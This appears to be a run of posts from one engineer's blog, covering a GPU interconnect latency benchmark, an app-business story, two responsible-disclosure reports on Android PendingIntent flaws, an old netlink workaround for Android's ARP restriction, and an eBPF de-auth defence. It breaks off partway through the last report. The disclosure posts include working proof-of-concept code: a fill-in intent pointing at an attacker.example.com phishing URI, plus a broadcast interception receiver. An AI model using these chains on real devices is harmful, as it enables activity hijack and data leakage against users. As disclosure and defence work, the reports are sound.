32768 8192 float sum 43.42 0.75 0.75 0

~40 µs for a 16 KB all-reduce, ~43 µs at 32 KB, between two DGX Sparks over RoCE. Correct results (#wrong 0), and genuinely on the IB path. The busbw column (~0.5 GB/s) looks alarming until you remember these are tiny messages: this regime is entirely latency-bound, so bus bandwidth is meaningless here. The number that matters is the time column.

So the chain, end to end:

Layer	Latency	What it is
RDMA write (`ib_write_lat`)	~2 µs	hardware/fabric floor
NCCL all-reduce, 16 KB	~40 µs	what a real collective costs
NCCL all-reduce, 32 KB	~43 µs	still latency-bound

Why 40 µs and not 2 µs?

A 20× gap between the verbs floor and the NCCL collective is larger than I expected, and it’s worth being honest about where it comes from. Two ranks, one all-reduce, but NCCL still has to: launch the collective kernel, hand off through its proxy thread, stage the buffer between GPU and NIC, do the actual RoCE round-trip, and do the reduction. Between two hosts over RoCE — as opposed to two GPUs on one NVLink fabric, where you’d see single-digit microseconds — tens of microseconds for a small-message all-reduce is, on reflection, normal.

One contributor stands out in the logs:

... Connected all rings, use ring PXN 0 GDR 0

GDR 0 — GPUDirect RDMA is off. The NIC isn’t DMA-ing straight into GPU memory; the data is staged through host memory on the way to the wire. On a unified-memory part like GB10 the GDR story is nuanced anyway, but it’s plausibly a chunk of that 40 µs, and the obvious lever to pull if you wanted to chase it lower. I’ll leave that for a follow-up.

Why this number is the one that matters

Bandwidth decides whether you can fit and feed a workload across two boxes. Small-message latency decides whether a tightly-coupled one will fly or die. If your parallel strategy puts a collective on the critical path N times per step — once per layer, say — then you’re paying N × 40 µs of pure, un-overlappable synchronization, every step. Whether that’s negligible or fatal depends entirely on how much compute sits between the collectives, and that’s a budgeting decision you can only make if you know the 40 µs.

The reason it’s worth writing down: with bandwidth at ~190 Gbps aggregate, the cable is wildly over-provisioned for the volume a small collective moves (a 16 KB all-reduce is ~microseconds of wire time at line rate). The binding constraint between two Sparks isn’t bandwidth at all — it’s this ~40 µs latency floor and how many times you have to pay it. That inverts the usual mental model, and it’s exactly the figure the bandwidth-only benchmarks leave out.

The traps that silently corrupt the result

Half the value of doing this yourself is discovering how many ways the measurement quietly lies to you. In rough order of how much time each one can cost:

1. The firmware throttle. Plenty of units ship pinned at ~13–16 Gbps despite negotiating a 200G link. The fix is a ConnectX-7 firmware update plus a full NIC power-drain — not just a reboot. Always run ib_write_bw first; if it’s not ~100 Gbps/rail, every latency number you take afterward is measured on a crippled link. (Mine, on 28.45.4028, were fine — so the version alone isn’t a reliable tell. Measure.)

2. NCCL silently falling back to TCP. The default NCCL stack will happily run your “RoCE” benchmark over plain sockets and report a busbw of ~1–3 GB/s — and you’ll think that’s the RDMA number. Force the native path with NCCL_NET_PLUGIN=none and NCCL_IB_MERGE_NICS=1, and read the debug log to confirm it says NET/IB, not NET/Socket.

3. OpenMPI picking the wrong network. Both boxes have a docker0 bridge on the same 172.17.x subnet, plus Wi-Fi, plus the rails. OpenMPI’s out-of-band layer sees the overlapping docker0 subnet on both hosts, concludes they’re directly reachable, and faceplants with cannot find a corresponding process entry for that peer. Pin it to the link:

--mca oob_tcp_if_include 10.0.0.0/30 --mca btl_tcp_if_include 10.0.0.0/30

4. The two-rail naming asymmetry. The single cable lights up two rails, and the port numbers differ on each end — one box exposes ...f1 ports, the other ...f0. So NCCL_IB_HCA and NCCL_SOCKET_IFNAME have to list both names and let each node match its own. Easy to stare at for a while.

5. The PCIe power warning. The driver logs Detected insufficient power on the PCIe slot (27W). It didn’t visibly hurt my numbers, but it’s the kind of thing that would explain an otherwise-inexplicable underperformance, so it’s worth noting it’s there.

There’s also the usual yak-shaving — nccl.h and mpi.h not on the include path, nccl-tests needing MPI_HOME pointed at the right prefix — but those are mechanical. The five above are the ones that change the number without changing anything you’d notice.

Caveats

This is one configuration, honestly reported. Single rail (latency doesn’t need both), GDR off, a specific NCCL/firmware/driver stack, a 16–32 KB sweep. A different NCCL version, GDR enabled, or a larger message set would move it — and I’d genuinely like to see someone reproduce it and disagree. But as a starting point, here’s the claim I’m willing to put a number on:

Between two DGX Sparks over the ConnectX-7 RoCE link, a small-message all-reduce costs about 40 microseconds, on a ~2 µs RDMA floor, with ~190 Gbps of bandwidth you’ll almost never be limited by.

If you’re deciding whether a latency-coupled multi-node strategy is viable on a pair of Sparks, that 40 µs — times however many collectives sit on your critical path — is the calculation nobody handed you. Now you have it.

From a Student Side Project to a Google Success Story

2026-06-24T00:00:00Z

Google just published a Publisher Success Story about Sangiorgi SRL — the company I founded and still run from Sicily while working full-time at Red Hat. It’s a strange and wonderful thing to see your own origin story written up by the platform that made it possible. Here’s the longer version, in my own words.

It started as a way to learn

While I was studying computer engineering in Catania, I built WiFi WPS WPA Tester as a side project. I wanted to understand how WPS — the “press a button to connect” feature on home routers — actually worked, and how badly it could fail. The app let people check whether their own Wi-Fi network was exposed to the well-known WPS vulnerabilities of the time.

I didn’t spend a cent on marketing. I didn’t have a cent to spend. The app grew because the problem was real: people would run it, discover their network was wide open, and tell their friends. One of the most common messages I got, in every language, was some version of “I found out my neighbor was using my Wi-Fi!”

That word-of-mouth carried it to over 165 million downloads, with the strongest adoption across Asia-Pacific, Europe, and the United States.

Free, but it still has to eat

Early on I made a decision I’ve never regretted: the app would stay free. People shouldn’t have to pay to check whether their own network is secure. But “free” and “sustainable” are not the same thing, and servers, time, and a growing app don’t fund themselves.

A few months after launch I integrated Google AdMob. My philosophy was simple and hasn’t changed:

I wanted people to use it for free, yet sustain my business too.

What surprised me was how much of the hard part AdMob just handled. Mediation meant I wasn’t leaving revenue on the table chasing one network. When GDPR landed, the consent-management tooling made compliance across Europe something I could actually get right as a small team, instead of a legal trap. That revenue is what let me bring on designers and, eventually, a computer-science PhD as the work got more serious.

What it became

Sangiorgi SRL is no longer one app. It’s a small portfolio of free, ad-supported tools:

WiFi WPS WPA Tester — the flagship, 165M+ downloads.
Ruppu — pin notes, links, and checklists straight to your notification shade. The name comes from the Sicilian word for “knot.”
WPA Calculator — recover the default password on common routers.
COAT — an EU-grant-backed app that uses AI to read privacy policies for you and hand back a plain-language summary and a privacy score.

Together the apps have passed 170M+ downloads across 190+ countries, which makes Sangiorgi SRL one of Italy’s top app publishers by downloads on Google Play.

Two time zones, one alarm clock

I won’t pretend the logistics are glamorous. I run the company from the U.S. while it operates out of Militello in Val di Catania, and my day job is GPU performance engineering at Red Hat. Coordinating with the team often means a 5 AM alarm and a coffee before the rest of my day starts.

These days AI is genuinely part of how we ship — I lean on tools like Gemini for code review and for prototyping features faster than a small team otherwise could. The leverage a few people can get now is wildly different from when I started.

The only advice I actually believe

People sometimes ask how to “do what I did,” and I think the honest answer is anticlimactic. I didn’t have a business plan. I had a problem I wanted to understand and an app I wanted to exist. So my advice is just this:

Think about something useful. Then start. You’ll figure things out as you go.

Thank you to Google for telling the story — and to the 165 million people who, somewhere along the way, decided to check their Wi-Fi.

FLAG_MUTABLE PendingIntent in DeviceAsWebcam Allows Foreground Activity Hijack via fillIn() Injection

2026-04-18T00:00:00Z

I reported a vulnerability in AOSP’s DeviceAsWebcam service where a FLAG_MUTABLE PendingIntent is used as the foreground notification’s contentIntent. An attacker app with user-granted NotificationListenerService access can extract the PendingIntent, inject arbitrary intent fields via fillIn(), and force-launch the system-UID DeviceAsWebcamPreview activity in the foreground — overlapping whatever the user was doing. The report was submitted on March 19, 2026.

The Vulnerable Code

The vulnerability is in DeviceAsWebcamFgService.java (line 134). The preview activity intent is created with only the component set — no action, no data, no extras, no flags, no categories:

// DeviceAsWebcamFgServiceImpl.kt:39-41
override fun getPreviewActivityIntent(context: Context): Intent {
 return Intent(context, DeviceAsWebcamPreview::class.java)
}

That intent is then wrapped in a FLAG_MUTABLE PendingIntent for the foreground-service notification:

// DeviceAsWebcamFgService.java:131-134
Intent notificationIntent = getPreviewActivityIntent(mContext);
PendingIntent pendingIntent = PendingIntent.getActivity(
 mContext, 0, notificationIntent, PendingIntent.FLAG_MUTABLE);

DeviceAsWebcam runs as android.uid.system (UID 1000). The PendingIntent ends up as contentIntent on a VISIBILITY_PUBLIC foreground-service notification with no FLAG_IMMUTABLE and no FLAG_ONE_SHOT.

Why This Is Exploitable: How fillIn() Works

When you call PendingIntent.send(context, code, fillInIntent), the system merges the fillInIntent into the original intent using Intent.fillIn(). The merge rules are simple: a field in the fill-in intent can override the corresponding field in the original intent only if the original field is null/empty.

Since getPreviewActivityIntent() sets only the component and leaves everything else empty, an attacker can inject:

Field	Injectable?	Why
Action	Yes	Original is null
Data URI	Yes	Original is null
Categories	Yes	Original is empty
Extras	Yes	Original is empty
Flags	Yes	Original is 0
ClipData	Yes	Original is null
Component	No	Already set (requires `FILL_IN_COMPONENT` flag)

If FLAG_IMMUTABLE were used instead, the system would completely ignore the fill-in intent — PendingIntent.java:259-267 skips the fillIn() call entirely when FLAG_IMMUTABLE is set.

The PendingIntent Survives Notification Redaction

Android 12+ redacts notification content for apps that read notifications on the lockscreen. But PendingIntents are explicitly excluded from this. In Notification.cloneInto() (line 3035), the comment reads:

“PendingIntents are global, so there’s no reason (or way) to clone them.”

This means any app with NotificationListenerService access always gets the full PendingIntent object, regardless of notification visibility settings.

The Exploit Chain

A malicious app with user-granted NLS access can:

Step 1 — Extract the PendingIntent. When DeviceAsWebcam starts its foreground service (USB webcam mode), the NLS callback delivers the StatusBarNotification. The attacker extracts sbn.getNotification().contentIntent — the mutable PendingIntent created by UID 1000.

Step 2 — Build the fill-in intent. The attacker constructs an intent with arbitrary fields:

Intent fillIn = new Intent("com.attacker.HIJACKED_ACTION");
fillIn.setData(Uri.parse("https://attacker.example.com/phishing"));
fillIn.addCategory("com.attacker.INJECTED_CATEGORY");
fillIn.putExtra("attacker_controlled_key", "malicious_value");
fillIn.putExtra("attacker_session_id", 1337);
fillIn.putExtra("attacker_is_admin", true);

Step 3 — Bypass Background Activity Launch (BAL) restrictions. Apps targeting SDK 34+ are blocked from launching activities from PendingIntent sends by default — they only get ALLOW_FGS, which is insufficient. The attacker uses the public API:

ActivityOptions opts = ActivityOptions.makeBasic();
opts.setPendingIntentBackgroundActivityStartMode(
 ActivityOptions.MODE_BACKGROUND_ACTIVITY_START_ALLOWED);

This upgrades the sender from ALLOW_FGS to ALLOW_BAL. Combined with the attacker’s app having a visible activity on screen, the system grants BAL_ALLOW_VISIBLE_WINDOW.

Step 4 — Send. The attacker calls PendingIntent.send(ctx, 0, fillIn, null, null, null, opts.toBundle()). The system-UID camera preview activity appears on screen within 60ms, overlapping the user’s current task. The user did not tap the notification, did not open DeviceAsWebcam, and had no interaction.

Step 5 — Replay. No FLAG_ONE_SHOT means subsequent sends succeed. The second send was confirmed via BAL_ALLOW_GRACE_PERIOD, displayed in +128ms.

Confirmed on Real Hardware

Tested on google/husky_beta/husky:CinnamonBun/CP21.260206.011/14911669:user/release-keys (Android 14+, Pixel device).

Logcat output confirming the full injection:

START u0 {act=com.attacker.HIJACKED_ACTION
 cat=[com.attacker.INJECTED_CATEGORY]
 dat=https://attacker.example.com/...
 cmp=com.android.DeviceAsWebcam/com.android.deviceaswebcam.DeviceAsWebcamPreview
 (has extras)}
 from uid 1000 (com.android.DeviceAsWebcam)
 (realCallingUid=10314)
 (BAL_ALLOW_VISIBLE_WINDOW [realCaller])
 result code=0

Displayed com.android.DeviceAsWebcam/...DeviceAsWebcamPreview: +60ms

Second send:

Displayed com.android.DeviceAsWebcam/...DeviceAsWebcamPreview: +128ms
(BAL_ALLOW_GRACE_PERIOD)

Impact

Foreground activity hijack. The system-UID camera preview is force-launched over the user’s current activity using only public APIs. No root, no reflection, no hidden APIs.

Intent field injection into a system-UID process. Attacker-controlled action, data URI, extras, flags, and categories arrive at DeviceAsWebcamPreview running as UID 1000. Currently the activity does not consume all of these fields, but the injection surface is durable — any future code that reads getIntent().getData() or extras in this activity would be immediately exploitable by the same chain.

Realistic attack surface. The attack requires NotificationListenerService access, which is user-granted. But thousands of Play Store apps already have it: smartwatch companions (Fitbit, Galaxy Wearable, Wear OS), notification managers, auto-reply bots, accessibility tools, and automation apps (Tasker). A malicious update to any of these could exploit this silently without re-prompting the user for permissions.

Permission mismatch. The user grants NLS for notification reading. The exploit uses an extracted PendingIntent to launch a system-UID activity with injected intent fields — an action far beyond what the permission is understood to authorize.

Scope Limitation

The foreground hijack requires the attacker’s app to have a visible, non-pinned activity at the time of send(). Background sends — from a foreground service or PIP mode — are blocked by Android 14+’s BAL hardening (realCallingUidHasVisibleNotPinnedActivity: false → BAL_BLOCK). This prevents continuous background DoS but does not prevent the foreground hijack when the attacker’s app is on screen.

Video Demo

Your browser does not support the video tag.

Suggested Fix

Replace FLAG_MUTABLE with FLAG_IMMUTABLE at line 134. FLAG_IMMUTABLE causes the system to completely ignore the fill-in intent parameter to send(), eliminating the entire injection surface. The notification tap does not require mutability.

// BEFORE (vulnerable):
PendingIntent.getActivity(mContext, 0, notificationIntent, PendingIntent.FLAG_MUTABLE);

// AFTER (safe):
PendingIntent.getActivity(mContext, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);

Defense-in-depth: add FLAG_ONE_SHOT if replay is unnecessary.

Android Security Team Response

Android Security rated this report NSBC (Not Security Bulletin Class) under their published severity guidance, while noting the issue may still be shared with the feature team for potential remediation.

Tested on: google/husky_beta/husky:CinnamonBun/CP21.260206.011/14911669:user/release-keys

Retrieving the ARP Table on Android SDK 30+ via Netlink

2026-04-08T00:00:00Z

Starting with Android 11 (API level 30), Google removed the ability for apps to run ip neigh or bind netlink sockets. This broke every app that relied on reading the ARP table — network scanners, device discovery tools, local network diagnostics. The change was intentional: Google argued that exposing the neighbor table leaks information about other devices on the local network, which is a privacy concern.

The problem is that there was no replacement API. Apps that needed neighbor discovery — for example, to find smart home devices, printers, or other hosts on the LAN — were simply out of luck. So I wrote a native library that retrieves the ARP table via RTNetlink without binding the socket, shipped it as an Android library, and open-sourced it.

Background: Netlink and RTNetlink

Netlink is the Linux kernel’s IPC mechanism for communication between the kernel and user-space processes. It’s a socket-based interface (AF_NETLINK) that replaces older ioctl-based approaches for configuring networking, routing, and other kernel subsystems. Netlink sockets support multicast (subscribing to kernel events) and request-response patterns (dumping tables, modifying routes).

RTNetlink (NETLINK_ROUTE) is the most commonly used netlink family. It handles everything related to network configuration: routes, addresses, links, neighbors (ARP/NDP), traffic control. When you run ip neigh show, iproute2 opens an AF_NETLINK socket with the NETLINK_ROUTE protocol, sends an RTM_GETNEIGH message, and parses the kernel’s response.

The standard flow looks like this:

Create a socket: socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE)
Bind it to a netlink address with your PID
Send a dump request (NLM_F_REQUEST | NLM_F_DUMP)
Receive and parse the response

Google’s restriction in SDK 30 targets step 2 — apps can no longer bind() a netlink socket. Without binding, the traditional flow fails.

The Workaround: Skip the Bind

The key insight is that bind() is not strictly required. You can send() on an unbound netlink socket and the kernel will still route the response back to you. The socket gets an implicit binding when you send the first message. This is the core of the workaround.

The implementation lives in a JNI (Java Native Interface) layer — C code compiled with the Android NDK and called from Java/Kotlin. The Java side opens a ParcelFileDescriptor pipe and passes the write end’s file descriptor down to native code. The native code does the netlink work and writes the results back through the pipe, which the Java side reads.

Creating the Socket and Sending the Request

struct sockaddr_nl saddr;
int s = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE);

memset(&saddr, 0, sizeof(saddr));
saddr.nl_family = AF_NETLINK;
saddr.nl_pid = getpid();
// No bind() call — this is the whole trick

The dump request asks the kernel for the neighbor table. The message type is RTM_GETNEIGH (value 30), and the flags include NLM_F_DUMP to request the full table:

int do_route_dump_request(int sock)
{
 struct {
 struct nlmsghdr nlh;
 struct rtmsg rtm;
 } nl_request;

 nl_request.nlh.nlmsg_type = 30; // RTM_GETNEIGH
 nl_request.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
 nl_request.nlh.nlmsg_pid = getpid();
 nl_request.nlh.nlmsg_len = sizeof(nl_request);
 nl_request.nlh.nlmsg_seq = 0;
 nl_request.rtm.rtm_family = AF_INET;

 return send(sock, &nl_request, sizeof(nl_request), 0);
}

The nlmsghdr is the standard netlink message header — every netlink message starts with one. It specifies the message type, flags, the sender’s PID, and the total message length. The rtmsg payload that follows tells the kernel we want IPv4 neighbors (AF_INET).

Receiving and Parsing the Response

The response arrives as a stream of nlmsghdr messages, each containing a neighbor entry. The receive logic uses a two-pass approach — first peek to get the total message size, then allocate and read:

static int rtnl_recvmsg(int fd, struct msghdr *msg, char **answer)
{
 struct iovec *iov = msg->msg_iov;
 char *buf;
 int len;

 iov->iov_base = NULL;
 iov->iov_len = 0;

 len = rtnl_receive(fd, msg, MSG_PEEK | MSG_TRUNC);
 if (len < 0)
 return len;

 buf = malloc(len);
 if (!buf)
 return -ENOMEM;

 iov->iov_base = buf;
 iov->iov_len = len;

 len = rtnl_receive(fd, msg, 0);
 if (len < 0) {
 free(buf);
 return len;
 }

 *answer = buf;
 return len;
}

MSG_PEEK | MSG_TRUNC is a useful trick: it returns the total message size without consuming the data, so we know exactly how much to malloc() before the real read.

Extracting Neighbor Entries

Each netlink message with type RTM_GETNEIGH (28 in the response) contains a ndmsg structure followed by route attributes. The parsing loop walks the message chain using the standard NLMSG_OK / NLMSG_NEXT macros and extracts the IP address, MAC address, interface name, and NUD (Neighbor Unreachability Detection) state:

while (NLMSG_OK(h, msglen)) {
 if (h->nlmsg_type == 28) {
 route_entry = (struct rtmsg *) NLMSG_DATA(h);
 route_attribute = (struct rtattr *) RTM_RTA(route_entry);

 if (route_attribute->rta_type == RTA_DST) {
 inet_ntop(AF_INET, RTA_DATA(route_attribute),
 destination_address, sizeof(destination_address));
 }

 inf_msg_ptr = (struct ifinfomsg *) NLMSG_DATA(h);
 rta_ptr = (struct rtattr *) IFLA_RTA(inf_msg_ptr);
 memcpy(mac_buf, RTA_DATA(rta_ptr), 10);
 rtmp = (struct ndmsg *) NLMSG_DATA(h);

 char ifname[1024];
 if_indextoname(inf_msg_ptr->ifi_index, ifname);

 // Output depends on NUD state
 switch (rtmp->ndm_state) {
 case NUD_REACHABLE:
 fprintf(fd, "%s dev %s lladdr %02x:%02x:%02x:%02x:%02x:%02x REACHABLE\n",
 destination_address, ifname,
 mac_buf[4], mac_buf[5], mac_buf[6],
 mac_buf[7], mac_buf[8], mac_buf[9]);
 break;
 case NUD_STALE:
 // ... same format, STALE state
 break;
 case NUD_DELAY:
 case NUD_PROBE:
 case NUD_FAILED:
 // ... handle each state
 break;
 }
 }
 h = NLMSG_NEXT(h, msglen);
}

The NUD states map directly to what ip neigh shows: REACHABLE means the entry was recently confirmed, STALE means it hasn’t been used recently, DELAY and PROBE are transitional states during revalidation, and FAILED means resolution timed out. The output format intentionally mirrors ip neigh show so that existing parsing code works unchanged.

The output is written to the file descriptor passed from Java, making it available to the app through the ParcelFileDescriptor pipe.

SELinux Closes the Door

This workaround worked well for a while. But Google eventually patched it — not at the socket API level, but through SELinux policy.

Android’s SELinux policies were updated to deny nlmsg_read permissions on netlink_route_socket for untrusted app domains. This means that even if you manage to create and use a netlink socket without binding, the kernel’s SELinux hooks will block the RTM_GETNEIGH dump request at the security policy level. The send() succeeds but the response never comes — or the socket operation itself is denied with EACCES.

SELinux operates at a layer below the system call interface. There is no user-space workaround for a mandatory access control denial. The library stopped working on devices with updated SELinux policies, which rolled out progressively across Android 12 and later.

The Ubiquiti Story

Before I open-sourced the library, Ubiquiti reached out. They wanted to buy the workaround for their app WiFiMan, a popular network scanner that was affected by the same SDK 30 restriction. They offered to pay for a license.

I declined the offer. I preferred to release the code as open source under CC0-1.0 (public domain). Shortly after, Ubiquiti was able to implement their own solution independently.

Source Code

The library is available at github.com/fulvius31/ip-neigh-sdk30, licensed under CC0-1.0.

It’s no longer effective on modern Android due to the SELinux changes, but it documents a real technique for working with RTNetlink from Android native code and the cat-and-mouse game between app developers and platform restrictions. It was a fun workaround while it lasted.

Blocking WiFi De-Auth Attacks in the Kernel with eBPF and XDP

2026-04-07T00:00:00Z

802.11 de-authentication attacks are one of the oldest and cheapest WiFi denial-of-service techniques. An attacker sends forged de-auth management frames to disconnect clients from an access point — aireplay-ng sends 128 per attack command (64 directed at the AP, 64 at the client). Despite being a known problem for over two decades, the main defense is still 802.11w (Protected Management Frames), which requires both AP and client support and still degrades under high-rate floods.

I took a different approach: detect and drop de-auth floods in the kernel using eBPF and XDP — at the mac80211 wireless driver level, before the frames ever reach the network stack. This is the first application of eBPF to the 802.11 protocol. The paper was published at IEEE NetSoft 2025 as first author.

Why Not Just Use libpcap or 802.11w?

libpcap is the traditional approach — capture packets in user space and analyze them. But it introduces latency from kernel-to-user-space copying, requires monitor mode (not all drivers support it), and is purely passive — it can detect but can’t drop packets. Under attack, the copy overhead spikes exactly when you need speed.

802.11w encrypts management frames to prevent spoofing, but it struggles with high-rate de-auth floods. Our experiments show that under sustained attack, 802.11w throughput drops below 5 Mbps with erratic spikes, while our eBPF/XDP solution maintains a consistent 10–12 Mbps. Additionally, many legacy devices and drivers lack PMF support — some APs are forced to disable 802.11w entirely to maintain compatibility.

XDP (eXpress Data Path) runs eBPF programs at the earliest possible point in the Linux network stack — at the driver level, before a sk_buff is even allocated. But XDP doesn’t work on WiFi interfaces. The Linux mac80211 subsystem has no ndo_bpf callback. So I patched the kernel.

Patching mac80211 for XDP Support

I modified two files in the mac80211 kernel module — the framework that implements IEEE 802.11 for wireless LAN drivers. Implementing XDP at the mac80211 level (rather than in individual drivers) ensures compatibility across all wireless drivers that use this module.

`iface.c`: The `ndo_bpf` Callback

This patch adds the infrastructure to attach and detach BPF programs on a wireless interface. It registers a .ndo_bpf handler in the ieee80211_dataif_ops structure — the net device operations table for mac80211 data interfaces:

static int generic_xdp_setup(struct net_device *dev, struct netdev_bpf *bpf)
{
 struct bpf_prog *old_prog, *new_prog;
 new_prog = bpf->prog;

 old_prog = xchg(&dev->xdp_prog, new_prog);
 if (old_prog)
 bpf_prog_put(old_prog);

 return 0;
}

static int ieee80211_xdp(struct net_device *dev, struct netdev_bpf *xdp)
{
 switch (xdp->command) {
 case XDP_SETUP_PROG:
 return generic_xdp_setup(dev, xdp);
 default:
 return -EINVAL;
 }
}

The xchg() atomically swaps the old program pointer with the new one. ieee80211_xdp is then registered in the device ops:

static const struct net_device_ops ieee80211_dataif_ops = {
 // ... existing ops ...
 .ndo_bpf = ieee80211_xdp,
};

The ndo_bpf routine is invoked from user space via Netlink sockets using iproute2 or bpftool. After this patch, ip link set dev wlan0 xdp obj program.o works on wireless interfaces.

`rx.c`: XDP Execution in the Receive Path

This patch hooks into ieee80211_rx_napi() — the main receive function that processes incoming packets using NAPI (New API) for efficient interrupt handling. It checks for an attached XDP program and runs it on every incoming frame:

xdp_prog = ieee80211_get_xdp_prog(sdata->dev);
if (xdp_prog) {
 struct xdp_buff xdp;
 xdp.data = skb->data;
 xdp.data_end = skb->data + skb->len;

 act = bpf_prog_run_xdp(xdp_prog, &xdp);
 switch (act) {
 case XDP_PASS:
 break;
 case XDP_DROP:
 kfree_skb(skb);
 return;
 }
}

The packet data is accessed through the sk_buff structure, which contains the complete 802.11 frame including headers and payload. Two actions are handled: XDP_DROP flushes the skb immediately, XDP_PASS allows normal processing to continue.

The eBPF De-Auth Detector

With XDP working on wireless interfaces, the detection program parses 802.11 management frames and identifies de-authentication packets by their frame control field:

struct ieee80211_mgmt {
 uint16_t frame_control;
 uint16_t duration_id;
 uint8_t da[6]; // Destination address
 uint8_t sa[6]; // Source address
 uint8_t bssid[6]; // AP MAC
 uint16_t seq_ctrl;
 uint16_t reason_code;
};

The Frame Control field encodes the type (bits 2–3) and subtype (bits 4–7). Management frames have type 0, de-authentication has subtype 0xC (12):

uint8_t type = (mgmt->frame_control & 0x000C) >> 2;
uint8_t subtype = (mgmt->frame_control & 0x00F0) >> 4;

if (subtype == 0xC && type == 0) {
 // De-authentication frame detected
}

State is tracked in a per-CPU array map (lock-free counters):

struct {
 __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY);
 __uint(key_size, sizeof(uint32_t));
 __uint(value_size, sizeof(uint64_t));
 __uint(max_entries, 2);
} packet_count SEC(".maps");

When de-auth frames exceed a threshold, the program logs the attack metadata (BSSID, source/destination MACs, reason code, nanosecond timestamp) and returns XDP_DROP. The frame is gone before the network stack ever sees it.

Compile and attach:

clang -O2 -target bpf -c deauth_ebpf.c
ip link set dev wlan0 xdp obj deauth_ebpf.o

Once deployed, the protected device can only be disconnected manually — all de-authentication frames are filtered out.

Evaluation

eBPF vs. libpcap: Detection Time

Setup: Two Debian Bookworm VMs (kernel 6.1.52, 4 GB RAM, 12 logical CPUs) with external ATHEROS UB93 [0108] USB wireless cards using the ath9k_htc driver. One VM as the victim, one as the attacker running a modified aireplay-ng with nanosecond timestamps. Both eBPF and libpcap detectors ran on the victim, logging de-auth events with nanosecond precision.

eBPF reduces detection time by 60% on average compared to libpcap, with peak improvements of up to 7x. The CDF of detection times shows XDP/eBPF reaching 100% distribution at significantly lower thresholds — it is consistently faster, not just on average. Both solutions maintain a relatively constant memory footprint, with libpcap exhibiting slightly higher average usage.

eBPF/XDP vs. 802.11w: Throughput Under Attack

Setup: Two Raspberry Pi 4s running OpenWrt — one as AP, one as client — with ath9k-htc USB wireless cards (because the onboard Broadcom brcmfmac doesn’t support WPA3/PMF configurations required for 802.11w testing). The client ran iperf3 against an Android 15 device as the server. An attacker on a separate laptop with an Intel wireless card in monitor mode launched sustained de-auth floods with aireplay-ng over a 5-minute window.

Throughput comparison under sustained attack:

Metric	eBPF/XDP	802.11w
Stabilization	Fast, consistent	Slow, erratic
Sustained throughput	10–12 Mbps	Frequent drops below 5 Mbps
Variance	Minimal fluctuations	Frequent dips and spikes

Both solutions initially reach ~20 Mbps, but eBPF/XDP stabilizes faster and maintains a consistent throughput with fewer deviations. 802.11w exhibits erratic performance with frequent dips, making it less reliable for latency-sensitive applications like security cameras or streaming sessions — exactly the IoT scenarios where de-auth attacks are most damaging.

The OpenWrt Integration

For real-world deployment on embedded hardware, the mac80211 patches are integrated into a custom OpenWrt build targeting Raspberry Pi. This includes:

The two mac80211 kernel patches applied to the OpenWrt build system
BPF toolchain configuration for cross-compilation (clang/LLVM pipeline)
Build infrastructure for compiling eBPF programs against OpenWrt kernel headers

Flash a Raspberry Pi with the custom image, attach an ath9k_htc USB WiFi adapter, load the eBPF program, and you have a wireless intrusion prevention sensor on a $35 board.

Limitations and Future Work

No source verification — the current solution does not verify the legitimacy of the source of de-authentication packets. A future MAC address whitelist mechanism would allow selective protection for critical devices (IoT cameras, medical equipment) while preserving standard de-auth behavior for other clients.
Threshold tuning — the current fixed threshold works for research. Production deployments would need adaptive thresholds based on network characteristics.
Single-run throughput data — the throughput comparison results come from single runs. We release the code for reproducibility and further testing.

Source Code

eBPF program: github.com/fulvius31/deauth_ebpf
OpenWrt + mac80211 patches: github.com/fulvius31/openwrt_mac80211_xdp_ebpf

A. Sangiorgi, A. Pinto, R. Tourani, F. Esposito, “Mitigating De-authentication DoS Attacks in 802.11 via eBPF and XDP,” IEEE NetSoft 2025. First author. Department of Computer Science, Saint Louis University.

This work was supported by NSF awards OAC-2201536 and CPS 2133407.

DOI: 10.1109/NetSoft61042.2025.11080545

Intercepting Android's ManagedProvisioning: A PendingIntent Vulnerability in AOSP

2026-04-06T00:00:00Z

I found and reported a vulnerability in Android’s ManagedProvisioning component — the system app responsible for setting up enterprise-managed (work) profiles. The bug allows any unprivileged third-party app to intercept a privileged provisioning callback, leaking install timing, session metadata, and in some cases package details — all without any special permissions.

Google acknowledged the report, logged it for potential remediation, and classified it as low severity. Here’s the full breakdown.

The Bug

InstallPackageTask in packages/apps/ManagedProvisioning creates the PackageInstaller.Session.commit() status receiver using a mutable implicit PendingIntent.

The callback intent uses a predictable action string:

com.android.managedprovisioning.task.InstallPackageTask.DONE.<sessionId>

This is passed to PendingIntent.getBroadcast(...) without setPackage() or an explicit component. On Android U+ builds, the code also adds FLAG_ALLOW_UNSAFE_IMPLICIT_INTENT, which explicitly opts out of Android’s own protection against unsafe mutable implicit PendingIntents.

Because the action includes the session ID, any app that observes the session ID can dynamically register a matching BroadcastReceiver and receive the install-status callback.

Why This Matters

The callback originates from a privileged provisioning component — the system flow that sets up enterprise work profiles, installs MDM agents, and configures managed devices. Android’s own documentation treats mutable implicit PendingIntents as unsafe and recommends making them explicit or package-scoped.

The practical impact:

Disclosure of provisioning/install timing — an attacker can observe exactly when enterprise provisioning packages are being installed
Session-correlated callback metadata — the intercepted broadcast carries extras tied to the install session
Package detail leakage — for some apps (like Google Digital Wellbeing), the intercepted callback reveals package details without any permissions
Enterprise fingerprinting — a malicious app can detect and fingerprint when an MDM solution is being deployed on the device

Proof of Concept

The exploit is straightforward. A third-party app:

Calls PackageInstaller.registerSessionCallback(...) to observe newly created install sessions
Extracts the session ID in real time from onCreated(int sessionId)
Dynamically registers a BroadcastReceiver for the exact action string
Receives the callback broadcast when session.commit(...) completes

PackageInstaller installer =
 context.getPackageManager().getPackageInstaller();

installer.registerSessionCallback(new PackageInstaller.SessionCallback() {
 @Override
 public void onCreated(int sessionId) {
 String action =
 "com.android.managedprovisioning.task.InstallPackageTask.DONE."
 + sessionId;

 BroadcastReceiver receiver = new ManagedProvisioningHijackReceiver();
 IntentFilter filter = new IntentFilter(action);
 context.registerReceiver(
 receiver, filter, Context.RECEIVER_EXPORTED);

 Log.w("PoC", "Registered receiver for action: " + action);
 }

 @Override public void onBadgingChanged(int sessionId) {}
 @Override public void onActiveChanged(int sessionId, boolean active) {}
 @Override public void onProgressChanged(int sessionId, float progress) {}
 @Override public void onFinished(int sessionId, boolean success) {}
});

The receiver logs everything it intercepts:

@Override
public void onReceive(Context context, Intent intent) {
 Log.w(TAG, "INTERCEPTED PROVISIONING CALLBACK BROADCAST");
